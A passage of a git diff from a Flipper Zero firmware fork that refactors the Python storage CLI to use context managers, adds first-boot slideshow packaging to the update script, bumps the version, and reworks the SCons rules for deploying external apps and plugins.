storage.read.until(storage.CLI_EOL) if not result.startswith(b"OK"): self.logger.error(result.decode("ascii")) - return -5 - break - return 0 - finally: - storage.stop() + return 4 + return 0 + except Exception as e: + self.logger.error(e) + return 5 if __name__ == "__main__": diff --git a/scripts/storage.py b/scripts/storage.py index ee5dabd43..84c01021a 100755 --- a/scripts/storage.py +++ b/scripts/storage.py @@ -1,16 +1,28 @@ #!/usr/bin/env python3 from flipper.app import App -from flipper.storage import FlipperStorage +from flipper.storage import FlipperStorage, FlipperStorageOperations from flipper.utils.cdc import resolve_port -import logging import os import binascii import filecmp import tempfile +def WrapStorageOp(func): + def wrapper(*args, **kwargs): + try: + func(*args, **kwargs) + return 0 + except Exception as e: + print(f"Error: {e}") + # raise # uncomment to debug + return 1 + + return wrapper + + class Main(App): def init(self): self.parser.add_argument("-p", "--port", help="CDC Port", default="auto") @@ -71,229 +83,71 @@ class Main(App): ) self.parser_stress.set_defaults(func=self.stress) - def _get_storage(self): + def _get_port(self): if not (port := resolve_port(self.logger, self.args.port)): - return None - - storage = FlipperStorage(port) - storage.start() - return storage + raise Exception("Failed to resolve port") + return port + @WrapStorageOp def mkdir(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Creating "{self.args.flipper_path}"') - if not storage.mkdir(self.args.flipper_path): - self.logger.error(f"Error: {storage.last_error}") - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + storage.mkdir(self.args.flipper_path) + @WrapStorageOp def remove(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Removing "{self.args.flipper_path}"') - if not storage.remove(self.args.flipper_path): - self.logger.error(f"Error: {storage.last_error}") - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + storage.remove(self.args.flipper_path) + @WrapStorageOp def receive(self): - if not (storage := self._get_storage()): - return 1 - - if storage.exist_dir(self.args.flipper_path): - for dirpath, dirnames, filenames in storage.walk(self.args.flipper_path): - self.logger.debug( - f'Processing directory "{os.path.normpath(dirpath)}"'.replace( - os.sep, "/" - ) - ) - dirnames.sort() - filenames.sort() - - rel_path = os.path.relpath(dirpath, self.args.flipper_path) - - for dirname in dirnames: - local_dir_path = os.path.join( - self.args.local_path, rel_path, dirname - ) - local_dir_path = os.path.normpath(local_dir_path) - os.makedirs(local_dir_path, exist_ok=True) - - for filename in filenames: - local_file_path = os.path.join( - self.args.local_path, rel_path, filename - ) - local_file_path = os.path.normpath(local_file_path) - flipper_file_path = os.path.normpath( - os.path.join(dirpath, filename) - ).replace(os.sep, "/") - self.logger.info( - f'Receiving "{flipper_file_path}" to "{local_file_path}"' - ) - if not storage.receive_file(flipper_file_path, local_file_path): - self.logger.error(f"Error: {storage.last_error}") - - else: - self.logger.info( - f'Receiving "{self.args.flipper_path}" to "{self.args.local_path}"' + with FlipperStorage(self._get_port()) as storage: + FlipperStorageOperations(storage).recursive_receive( + self.args.flipper_path, self.args.local_path ) - if not storage.receive_file(self.args.flipper_path, self.args.local_path): - self.logger.error(f"Error: {storage.last_error}") - storage.stop() - return 0 + @WrapStorageOp def send(self): - if not (storage := self._get_storage()): - return 1 - - self.send_to_storage( - storage, self.args.flipper_path, self.args.local_path, self.args.force - ) - storage.stop() - return 0 - - # send file or folder recursively - def send_to_storage(self, storage, flipper_path, local_path, force): - if not os.path.exists(local_path): - self.logger.error(f'Error: "{local_path}" is not exist') - - if os.path.isdir(local_path): - # create parent dir - self.mkdir_on_storage(storage, flipper_path) - - for dirpath, dirnames, filenames in os.walk(local_path): - self.logger.debug(f'Processing directory "{os.path.normpath(dirpath)}"') - dirnames.sort() - filenames.sort() - rel_path = os.path.relpath(dirpath, local_path) - - # create subdirs - for dirname in dirnames: - flipper_dir_path = os.path.join(flipper_path, rel_path, dirname) - flipper_dir_path = os.path.normpath(flipper_dir_path).replace( - os.sep, "/" - ) - self.mkdir_on_storage(storage, flipper_dir_path) - - # send files - for filename in filenames: - flipper_file_path = os.path.join(flipper_path, rel_path, filename) - flipper_file_path = os.path.normpath(flipper_file_path).replace( - os.sep, "/" - ) - local_file_path = os.path.normpath(os.path.join(dirpath, filename)) - self.send_file_to_storage( - storage, flipper_file_path, local_file_path, force - ) - else: - self.send_file_to_storage(storage, flipper_path, local_path, force) - - # make directory with exist check - def mkdir_on_storage(self, storage, flipper_dir_path): - if not storage.exist_dir(flipper_dir_path): - self.logger.debug(f'"{flipper_dir_path}" does not exist, creating') - if not storage.mkdir(flipper_dir_path): - self.logger.error(f"Error: {storage.last_error}") - else: - self.logger.debug(f'"{flipper_dir_path}" already exists') - - # send file with exist check and hash check - def send_file_to_storage(self, storage, flipper_file_path, local_file_path, force): - if not storage.exist_file(flipper_file_path): - self.logger.debug( - f'"{flipper_file_path}" does not exist, sending "{local_file_path}"' + with FlipperStorage(self._get_port()) as storage: + FlipperStorageOperations(storage).recursive_send( + self.args.flipper_path, self.args.local_path, self.args.force ) - self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") - elif force: - self.logger.debug( - f'"{flipper_file_path}" exists, but will be overwritten by "{local_file_path}"' - ) - self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") - else: - self.logger.debug( - f'"{flipper_file_path}" exists, compare hash with "{local_file_path}"' - ) - hash_local = storage.hash_local(local_file_path) - hash_flipper = storage.hash_flipper(flipper_file_path) - - if not hash_flipper: - self.logger.error(f"Error: {storage.last_error}") - - if hash_local == hash_flipper: - self.logger.debug( - f'"{flipper_file_path}" is equal to "{local_file_path}"' - ) - else: - self.logger.debug( - f'"{flipper_file_path}" is NOT equal to "{local_file_path}"' - ) - self.logger.info( - f'Sending "{local_file_path}" to "{flipper_file_path}"' - ) - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") + @WrapStorageOp def read(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Reading "{self.args.flipper_path}"') - data = storage.read_file(self.args.flipper_path) - if not data: - self.logger.error(f"Error: {storage.last_error}") - else: + with FlipperStorage(self._get_port()) as storage: + data = storage.read_file(self.args.flipper_path) try: print("Text data:") print(data.decode()) except: print("Binary hexadecimal data:") print(binascii.hexlify(data).decode()) - storage.stop() - return 0 + @WrapStorageOp def size(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Getting size of "{self.args.flipper_path}"') - size = storage.size(self.args.flipper_path) - if size < 0: - self.logger.error(f"Error: {storage.last_error}") - else: - print(size) - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + print(storage.size(self.args.flipper_path)) + @WrapStorageOp def list(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Listing "{self.args.flipper_path}"') - storage.list_tree(self.args.flipper_path) - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + storage.list_tree(self.args.flipper_path) + @WrapStorageOp def format_ext(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug("Formatting /ext SD card") + with FlipperStorage(self._get_port()) as storage: + storage.format_ext() - if not storage.format_ext(): - self.logger.error(f"Error: {storage.last_error}") - storage.stop() - return 0 - + @WrapStorageOp def stress(self): self.logger.error("This test is wearing out flash memory.") - self.logger.error("Never use it with internal storage(/int)") + self.logger.error("Never use it with internal storage (/int)") if self.args.flipper_path.startswith( "/int" @@ -312,24 +166,19 @@ class Main(App): with open(send_file_name, "w") as fout: fout.write("A" * self.args.file_size) - storage = self._get_storage() - if not storage: - return 1 - - if storage.exist_file(self.args.flipper_path): - self.logger.error("File exists, remove it first") - return - while self.args.count > 0: - storage.send_file(send_file_name, self.args.flipper_path) - storage.receive_file(self.args.flipper_path, receive_file_name) - if not filecmp.cmp(receive_file_name, send_file_name): - self.logger.error("Files mismatch") - break - storage.remove(self.args.flipper_path) - os.unlink(receive_file_name) - self.args.count -= 1 - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + if storage.exist_file(self.args.flipper_path): + self.logger.error("File exists, remove it first") + return + while self.args.count > 0: + storage.send_file(send_file_name, self.args.flipper_path) + storage.receive_file(self.args.flipper_path, receive_file_name) + if not filecmp.cmp(receive_file_name, send_file_name): + self.logger.error("Files mismatch") + break + storage.remove(self.args.flipper_path) + os.unlink(receive_file_name) + self.args.count -= 1 if __name__ == "__main__": diff --git a/scripts/update.py b/scripts/update.py index 2b0157260..c90a853f5 100755 --- a/scripts/update.py +++ b/scripts/update.py @@ -10,6 +10,7 @@ import shutil import zlib import tarfile import math +import pathlib from slideshow import Main as SlideshowMain @@ -125,6 +126,17 @@ class Main(App): ) if self.args.resources: resources_basename = self.RESOURCE_FILE_NAME + SlideshowMain(no_exit=True)( + [ + "-i", + str( + pathlib.Path(self.args.resources).parent + / "slideshow/xfwfirstboot" + ), + "-o", + str(pathlib.Path(self.args.resources) / "dolphin/xfwfirstboot.bin"), + ] + ) if not self.package_resources( self.args.resources, join(self.args.directory, resources_basename) ): @@ -137,6 +149,14 @@ class Main(App): return 2 if self.args.splash: + SlideshowMain(no_exit=True)( + [ + "-i", + str(pathlib.Path(self.args.splash).parent / "xfwfirstboot"), + "-o", + join(self.args.directory, "xfwfirstboot.bin"), + ] + ) splash_args = [ "-i", self.args.splash, diff --git a/scripts/version.py b/scripts/version.py index 55de1df06..6351c72a1 100644 --- a/scripts/version.py +++ b/scripts/version.py @@ -1,5 +1,5 @@ #!/usb/bin/env python3 -VERSION = "XFW-0042" +VERSION = "XFW-0043" from flipper.app import App @@ -10,11 +10,16 @@ from datetime import date, datetime class GitVersion: + REVISION_SUFFIX_LENGTH = 8 + def __init__(self, source_dir): self.source_dir = source_dir def get_version_info(self): - commit = self._exec_git("rev-parse --short HEAD") or "unknown" + commit = ( + self._exec_git(f"rev-parse --short={self.REVISION_SUFFIX_LENGTH} HEAD") + or "unknown" + ) dirty = False try: diff --git a/site_scons/commandline.scons b/site_scons/commandline.scons index e38f58ec2..5610478cb 100644 --- a/site_scons/commandline.scons +++ b/site_scons/commandline.scons @@ -204,10 +204,6 @@ vars.AddVariables( "system_apps", # Settings "settings_apps", - # Plugins - # "basic_plugins", - # Debug - # "debug_apps", ), }, ), @@ -232,7 +228,7 @@ vars.AddVariables( ("applications/settings", False), ("applications/system", False), ("applications/debug", False), - ("applications/plugins", False), + ("applications/external", False), ("applications/examples", False), ("applications_user", False), ], diff --git a/site_scons/extapps.scons b/site_scons/extapps.scons index abe1a4534..4af966007 100644 --- a/site_scons/extapps.scons +++ b/site_scons/extapps.scons @@ -1,7 +1,9 @@ from dataclasses import dataclass, field +from os.path import dirname + from SCons.Node import NodeList from SCons.Warnings import warn, WarningOnByDefault - +from SCons.Errors import UserError Import("ENV") @@ -12,7 +14,8 @@ appenv = ENV["APPENV"] = ENV.Clone( "fbt_extapps", "fbt_assets", "fbt_sdk", - ] + ], + RESOURCES_ROOT=ENV.Dir("#/assets/resources"), ) appenv.Replace( @@ -57,7 +60,7 @@ appenv.AppendUnique( @dataclass class FlipperExtAppBuildArtifacts: - applications: dict = field(default_factory=dict) + application_map: dict = field(default_factory=dict) resources_dist: NodeList = field(default_factory=NodeList) sdk_tree: NodeList = field(default_factory=NodeList) @@ -65,6 +68,7 @@ class FlipperExtAppBuildArtifacts: apps_to_build_as_faps = [ FlipperAppType.PLUGIN, FlipperAppType.EXTERNAL, + FlipperAppType.EXTMAINAPP, FlipperAppType.DEBUG, ] @@ -86,6 +90,9 @@ for app in known_extapps: appenv.BuildAppElf(app) +extapps = FlipperExtAppBuildArtifacts() +extapps.application_map = appenv["EXT_APPS"] + if incompatible_apps: warn( WarningOnByDefault, @@ -95,27 +102,60 @@ if incompatible_apps: if appenv["FORCE"]: appenv.AlwaysBuild( - list(app_artifact.compact for app_artifact in appenv["EXT_APPS"].values()) + list(app_artifact.compact for app_artifact in extapps.application_map.values()) ) Alias( - "faps", list(app_artifact.validator for app_artifact in appenv["EXT_APPS"].values()) + "faps", + list(app_artifact.validator for app_artifact in extapps.application_map.values()), ) -extapps = FlipperExtAppBuildArtifacts() -extapps.applications = appenv["EXT_APPS"] -extapps.resources_dist = appenv.FapDist(appenv.Dir("#/assets/resources/apps"), []) +extapps.resources_dist = appenv.FapDist(appenv["RESOURCES_ROOT"], []) if appsrc := appenv.subst("$APPSRC"): - app_artifacts = appenv.GetExtAppFromPath(appsrc) + deploy_sources, flipp_dist_paths, validators = [], [], [] + run_script_extra_ars = "" + + def _add_dist_targets(app_artifacts): + validators.append(app_artifacts.validator) + for _, ext_path in app_artifacts.dist_entries: + deploy_sources.append(app_artifacts.compact) + flipp_dist_paths.append(f"/ext/{ext_path}") + return app_artifacts + + def _add_host_app_to_targets(host_app): + artifacts_app_to_run = appenv["EXT_APPS"].get(host_app.appid, None) + _add_dist_targets(artifacts_app_to_run) + for plugin in host_app._plugins: + _add_dist_targets(appenv["EXT_APPS"].get(plugin.appid, None)) + + artifacts_app_to_run = appenv.GetExtAppByIdOrPath(appsrc) + if artifacts_app_to_run.app.apptype == FlipperAppType.PLUGIN: + # We deploy host app instead + host_app = appenv["APPMGR"].get(artifacts_app_to_run.app.requires[0]) + + if host_app: + if host_app.apptype == FlipperAppType.EXTERNAL: + _add_host_app_to_targets(host_app) + else: + # host app is a built-in app + run_script_extra_ars = f"-a {host_app.name}" + _add_dist_targets(artifacts_app_to_run) + else: + raise UserError("Host app is unknown") + else: + _add_host_app_to_targets(artifacts_app_to_run.app) + + # print(deploy_sources, flipp_dist_paths) appenv.PhonyTarget( "launch_app", - '${PYTHON3} "${APP_RUN_SCRIPT}" "${SOURCE}" --fap_dst_dir "/ext/apps/${FAP_CATEGORY}"', - source=app_artifacts.compact, - FAP_CATEGORY=app_artifacts.app.fap_category, + '${PYTHON3} "${APP_RUN_SCRIPT}" ${EXTRA_ARGS} -s ${SOURCES} -t ${FLIPPER_FILE_TARGETS}', + source=deploy_sources, + FLIPPER_FILE_TARGETS=flipp_dist_paths, + EXTRA_ARGS=run_script_extra_ars, ) - appenv.Alias("launch_app", app_artifacts.validator) + appenv.Alias("launch_app", validators) # SDK management